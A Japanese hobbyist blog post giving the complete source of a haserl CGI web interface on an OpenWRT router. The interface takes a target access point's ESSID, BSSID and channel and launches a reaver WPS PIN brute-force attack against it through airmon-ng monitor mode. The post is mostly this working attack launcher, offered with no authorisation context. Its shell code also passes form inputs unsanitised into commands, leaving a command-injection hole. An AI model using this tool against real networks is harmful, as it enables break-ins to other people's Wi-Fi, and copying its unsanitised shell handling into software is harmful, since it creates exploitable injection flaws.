前にこの無線ルータでは,OpenWRT のビルドと reaver の実行に成功している。
Buffalo WHR-G300N の OpenWRT ビルドと reaver-wps
Haserl は,シェルスクリプトを使って cgi web スクリプトが作成できる。
reaver を web で実行するプログラムを作ってみた。
パソコンを WHR-G300N の LAN I/F に接続して,http://192.168.1.1/cgi-bin/r.cgi で接続する。
ターゲット AP の essid,mac(bssid),チャンネルを入力して実行すると,reaver がバックグラウンド起動する。
*** Reaver Web UI ***
作成した haserl の cgi プログラムは,OpenWrt 上の /www/cgi-bin/r.cgi。
実行属性を追加する。 (chmod a+x r.cgi)
*** プログラム r.cgi ***
#!/usr/bin/haserlcontent-type: text/html<html><body><form action="<? echo -n $SCRIPT_NMAE ?>" method="POST"><h1>Reaver Web UI Form</h1><input type=hidden name=action value=post><? #ストップでreaverをkillしてmon0を削除,ログもクリアif [ "$GET_halt" = "on" ]; thenecho -n "<pre>"pkill -f reaverrm /tmp/reaverlogairmon-ng stop mon0echo -n "<p>Reaver Stopped</p></pre>"fi?><p>__essid_: <input type=text name=essid value="<? echo -n $FORM_essid ?>" size=20></p><p>__MAC_: <input type=text name=mac value="<? echo -n $FORM_mac ?>" size=20></p><p>channel: <input type=text name=ch value="<? echo -n $FORM_ch ?>" size=2></p><pre><? # ポストされたらreaverを実行if [ "$FORM_action" = "post" ]; thenif ! [ -f /tmp/reaverlog ]; theniwconfig wlan0 essid $FORM_essid channel $FORM_chifconfig wlan0 upairmon-ng start wlan0reaver -i mon0 -b $FORM_mac -D -c $FORM_ch -o /tmp/reaverlog -vvfitail -n 20 /tmp/reaverlog?></pre><p><input type=submit value="Reload"><input type=button value="Stop" onClick="location.href='r.cgi?halt=on'"></p><? else ?><p><input type=submit value="Start"></p><? fi ?></form></body></html>
<? ~ ?> のところに,リナックスのコマンドが書ける。$FORM_xxx で post されたフォームデータが参照できる。
参考: OpenWrt / How do i get haserl to work?
http://haserl.sourceforge.net/
reaver は,-o [file名]でファイル出力できる。また –D でデーモン起動できる。リロードした時に tail でログファイルを表示する。
エラー判定もしてないし,まだ試作段階なので,もっと工夫が必要だ。
haserl の情報はすごく少ないが,OpenWrt の X-Wrt(web管理画面)で使われているらしい。